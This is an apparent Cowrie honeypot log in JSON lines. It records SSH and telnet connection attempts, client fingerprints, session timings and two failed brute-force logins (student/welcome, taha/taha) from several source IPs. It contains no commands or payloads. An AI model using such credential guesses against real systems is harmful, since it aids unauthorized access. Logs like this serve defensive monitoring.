{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:54.777173Z","src_ip":"138.128.241.222","session":"fd06d3b334f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:54.811631Z","src_ip":"138.128.241.222","session":"fd06d3b334f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"welcome","message":"login attempt [student/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:55.992057Z","src_ip":"138.128.241.222","session":"fd06d3b334f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:14:57.587277Z","src_ip":"138.128.241.222","session":"fd06d3b334f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.111","src_port":53136,"dst_ip":"10.17.0.5","dst_port":22,"session":"bca57185b3bc","protocol":"ssh","message":"New connection: 66.132.172.111:53136 (10.17.0.5:22) [session: bca57185b3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:15:17.574791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:15:17.581546Z","src_ip":"66.132.172.111","session":"bca57185b3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:15:17.631274Z","src_ip":"66.132.172.111","session":"bca57185b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:15:32.575447Z","src_ip":"66.132.172.111","session":"bca57185b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a5a6555fb4","protocol":"ssh","message":"New connection: 216.180.246.150:21433 (10.17.0.5:22) [session: 94a5a6555fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:15:39.172738Z"}
{"eventid":"cowrie.session.closed","duration":"32.1","message":"Connection lost after 32.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:11.286599Z","src_ip":"216.180.246.150","session":"94a5a6555fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":22,"session":"f041c92d5b49","protocol":"ssh","message":"New connection: 216.180.246.150:21433 (10.17.0.5:22) [session: f041c92d5b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:17.258236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OPENSSH_7.9","message":"Remote SSH version: SSH-2.0-OPENSSH_7.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:17.269630Z","src_ip":"216.180.246.150","session":"f041c92d5b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:17.284601Z","src_ip":"216.180.246.150","session":"f041c92d5b49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:17.516008Z","src_ip":"216.180.246.150","session":"f041c92d5b49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:17.521058Z","src_ip":"216.180.246.150","session":"f041c92d5b49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":38042,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bf3c76f276","protocol":"ssh","message":"New connection: 64.176.195.200:38042 (10.17.0.5:22) [session: 60bf3c76f276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:38.705483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:38.713382Z","src_ip":"64.176.195.200","session":"60bf3c76f276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:38.718199Z","src_ip":"64.176.195.200","session":"60bf3c76f276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taha","password":"taha","message":"login attempt [taha/taha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:38.729293Z","src_ip":"64.176.195.200","session":"60bf3c76f276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:16:39.735964Z","src_ip":"64.176.195.200","session":"60bf3c76f276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b086926eae","protocol":"ssh","message":"New connection: 216.180.246.150:21433 (10.17.0.5:22) [session: f3b086926eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:03.264985Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"14192192ad35","protocol":"ssh","message":"New connection: 45.78.207.244:33418 (159.203.135.109:22) [session: 14192192ad35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:07.951659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:08.349592Z","src_ip":"45.78.207.244","session":"14192192ad35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:09.520673Z","src_ip":"45.78.207.244","session":"14192192ad35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60964,"dst_ip":"159.203.135.109","dst_port":22,"session":"10af0ee6b0fa","protocol":"ssh","message":"New connection: 45.148.10.121:60964 (159.203.135.109:22) [session: 10af0ee6b0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:29.236246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:29.240757Z","src_ip":"45.148.10.121","session":"10af0ee6b0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:29.320561Z","src_ip":"45.148.10.121","session":"10af0ee6b0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:29.403529Z","src_ip":"45.148.10.121","session":"10af0ee6b0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.0","message":"Connection lost after 32.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:35.265409Z","src_ip":"216.180.246.150","session":"f3b086926eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ac5bf70fe7f","protocol":"ssh","message":"New connection: 216.180.246.150:21433 (10.17.0.5:22) [session: 0ac5bf70fe7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:17:40.450314Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5680cdceba","protocol":"telnet","message":"New connection: 216.180.246.150:21433 (10.17.0.5:23) [session: ff5680cdceba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:18:17.029797Z"}
{"eventid":"cowrie.session.closed","duration":32.00047278404236,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:18:49.030173Z","src_ip":"216.180.246.150","session":"ff5680cdceba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab182763b2c","protocol":"telnet","message":"New connection: 216.180.246.150:21433 (10.17.0.5:23) [session: 8ab182763b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:18:54.457334Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:19:07.957106Z","src_ip":"45.78.207.244","session":"14192192ad35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.989546060562134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:19:26.446790Z","src_ip":"216.180.246.150","session":"8ab182763b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37b357494af","protocol":"telnet","message":"New connection: 216.180.246.150:21433 (10.17.0.5:23) [session: d37b357494af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:19:34.217977Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:19:40.455284Z","src_ip":"216.180.246.150","session":"0ac5bf70fe7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.998994827270508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:20:06.216872Z","src_ip":"216.180.246.150","session":"d37b357494af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":21433,"dst_ip":"10.17.0.5","dst_port":23,"session":"1899a19463d7","protocol":"telnet","message":"New connection: 216.180.246.150:21433 (10.17.0.5:23) [session: 1899a19463d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:20:11.951411Z"}
{"eventid":"cowrie.session.closed","duration":31.985103368759155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:20:43.936381Z","src_ip":"216.180.246.150","session":"1899a19463d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.207.244","src_port":48126,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3ba6fb6287","protocol":"ssh","message":"New connection: 45.78.207.244:48126 (159.203.135.109:22) [session: 3a3ba6fb6287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:21:05.448636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:21:08.430721Z","src_ip":"45.78.207.244","session":"3a3ba6fb6287","protocol":"ssh"}
